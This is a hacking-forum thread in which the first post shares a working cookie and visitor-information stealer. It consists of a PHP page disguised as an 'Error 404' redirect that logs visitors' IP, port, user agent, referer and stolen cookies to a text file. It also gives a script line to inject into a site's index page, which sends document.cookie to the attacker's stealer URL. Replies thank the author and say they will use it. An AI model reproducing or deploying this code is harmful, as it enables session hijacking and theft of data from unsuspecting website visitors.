ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Home
Upgrade
Credits
Help
Search
Awards
Achievements
 1795

Informations Stealer [IP,Cookie,Agent,Date,Port,Ref more...]

by GHOSTED - 11-28-2018 - 10:19 AM
#1
Code:
!DOCTYPE html>
<html>
<head>
   <title>Error 404 | Redirecting to correct url</title>
   <link rel="icon" type="images/x-icon" href="../images/favicon.ico">
</head>
<body>

<?php
function GetIP()
{
   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
       $ip = getenv("HTTP_CLIENT_IP");
   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
       $ip = getenv("HTTP_X_FORWARDED_FOR");
   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
       $ip = getenv("REMOTE_ADDR");
   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
       $ip = $_SERVER['REMOTE_ADDR'];
   else
       $ip = "unknown";
   return($ip);
}
function logData()
{
   $ipLog="informations.txt";
   $cookie = $_SERVER['QUERY_STRING'];
   $register_globals = (bool) ini_get('register_gobals');
   if ($register_globals) $ip = getenv('REMOTE_ADDR');
   else $ip = GetIP();
   $rem_port = $_SERVER['REMOTE_PORT'];
   $user_agent = $_SERVER['HTTP_USER_AGENT'];
   $rqst_method = $_SERVER['METHOD'];
   $rem_host = $_SERVER['REMOTE_HOST'];
   $referer = $_SERVER['HTTP_REFERER'];
   $date=date ("l dS of F Y h:i:s A");
   $log=fopen("$ipLog", "a+");
   if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
       fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
   else
       fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
   fclose($log);
}
logData();
?>


<script>
   setTimeout("location.href = 'https://fbi.gov';",2700);
</script>

</body>
</html>
Edit "https://yourwebsite.com/stealer.php" to your own website location

Add this to index.php or somewhere else

Code:
<?php>
<script>location.href='https://yourwebsite.com/stealer.php?c='+escape(document.cookie)
</script>
?>

You will need an "informations.txt" file to your server.


You are free to make any changes to it [Image: wink.png]
DISCORD: geazyclown
Reply
#2
nice one. will use this :)
1/3 of US bandwidth is used by Netflix
The rest is used by `rm -rf node_modules && npm install`

I LOVE MARS
Reply
#3
nice one. will use this

nice one. will use this !!
Reply
#4
thanks bro likedsss
Reply
#5
thanks you brother
Reply

Users browsing: 1 Guest(s)